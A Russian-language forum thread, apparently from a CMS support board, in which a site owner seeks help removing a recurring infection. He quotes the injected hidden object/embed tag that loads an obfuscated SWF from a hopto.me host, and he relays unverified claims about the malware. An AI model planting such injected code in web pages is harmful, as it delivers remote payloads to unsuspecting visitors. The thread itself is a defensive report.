Новый вирус hopto.me

[Xymers 0]

Здравствуйте.

На сайтах начел появляться вирус, несколько раз сам видел его (при добавлении новости через админку) когда на сайте присутствует вирус при загрузке страницы она зависает на несколько секунд (такое впечатление что зависает и сам браузер) в левом нижнем углу сайта находится небольшое окошко цветом как фон сайта.

В файлах движка и шаблоне сайта не получилось обнаружить ни какой посторонний код (сравнивал файлы с сайта с оригинальным движком).

Когда увидел опять вирус зашел в исходный код страницы и в само низу увидел такой посторонний код:

<object width="1" height="1" style="position: absolute;"><param name="allowScriptAccess" value="always" /><param name=movie value="http://rdomn1386753305.hopto.me/appSound.swf" /><embed allowScriptAccess="always" src="http://rdomn1386753305.hopto.me/appSound.swf" type="application/x-shockwave-flash"></embed></object>[/CODE]

Но проверив повторно файлы движка ни чего не нашол.

Нашол в интернете информацию что появился новый вирус вида hopto.me/appSound.swf или [color=#000000]hopto.me/appSound.swf[/color] вот что пишут в статье о этом вирусе:

• вирус заражает файлы с расширением .js на сайте;
  
• имеет несколько уровней вложенного друг в друга обфусцированного кода, соответственно искать в файлах своего сайта в явном виде домен сайта с которого он подгружается не имеет смысла;
  
• подгружаемый вирусом файл .swf также обфусцирован;
  
• вирус проявляет себя не всегда, то есть не при каждом заходе на зараженный сайт;
  
• видели несколько предположений в сети, что на данный момент вирус не опасен так как ничего не делает, судя по всему его разработчики проводят тестирование работы скрипта, как следствие пассивность вируса обусловлена желанием максимально анонимного тестирования.
  

Разработчики антивирусного ПО, на момент написания этого поста, никаких рекомендаций о том как бороться с вирусом не анонсировали.

[color=#339966]Дополнительная информация:[/color] появилась модификация вируса которая вместо домена [color=#0000ff]hopto.me[/color] использует домен [color=#0000ff]pp.ua[/color]

Этой статье сильно не доверяю но ничего другого не смог найти о вирусе и о том как его удалить.

Вот немного информации по моим случаям. Яндекс поставил у всех сайтах вердикт Yandex/MalTds, сайты на различных версиях движка, на некоторых сайтах вообще нет дополнительных модулей или рекламы (чистые лицензии). Вирус сам появляется и пропадает, больше пятнадцати минут его не разу не видел. Этот же вирус появляется и на другом движке. Была мысль что этот вирус в ПО сервера но перейдя на другой хостинг проблема осталась (на новом хостинге устанавливал по новой сайты, от старых сайтов оставался только шаблон и БД), в шаблоне ни чего постороннего нет. Права для папок и файлов выставлял самые строгие кикие только можно. Уже несколько дней не вижу присутствия вируса но Яндекс все равно твердит что он есть.

Если кто то сталкивался с данным вирусом поделитесь информацией как от него избавится раз и навсегда?

Изменено 29 декабря 2013 пользователем Xymers

[Captain 623]

На данном форуме существуют достаточно жесткие правила, поэтому прежде чем создавать свою тему убедитесь, что вы внимательно их прочитали и поняли.

1. Если ваша тема начинается с вопроса и вам нужна какая либо помощь, то в самой теме в обязательном порядке вы должны указывать ссылку на ваш сайт. Если ваш сайт находится в локальной сети и вы не можете предоставить ссылку, или вы не хотите публиковать открытой ссылки на ваш сайт, то отправляйте персональное сообщение с вопросом в службу поддержки непосредственно с сайта http://dle-news.ru/, вам ответят на ваш вопрос в персональном порядке, в случае если пользуетесь платной версией скрипта и обладаете лицензией на скрипт. Если вы пользуетесь демоверсией, то вам необходимо разместить сайт в сети интернет, и только потом обращаться за помощью. По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается. Если вы не указали сайт, то ваша тема будет закрыта, а аккаунт на форуме заблокирован.

[23neon23 0]

Скачиваете сайт на комп и сравниваете с оригинальным дистрибутивом. По-моему самый лучший вариант.

[Xymers 0]

Скачиваете сайт на комп и сравниваете с оригинальным дистрибутивом. По-моему самый лучший вариант.

Я тоже считаю этот вариант лучшим, но так я делал многократно, и это ни чего не дало, ни каких отличий с оригинальным дистрибутивом нет. Из за этого думал что проблема на сервере, но переехав на другой сервер Яндекс не перестал ругаться на сайт.

В службе поддержки движка говорят проблема не в самом движке и я с ними согласен, но все равно я не знаю как избавится от этого "вируса" на сайтах.

Изменено 8 января 2014 пользователем Xymers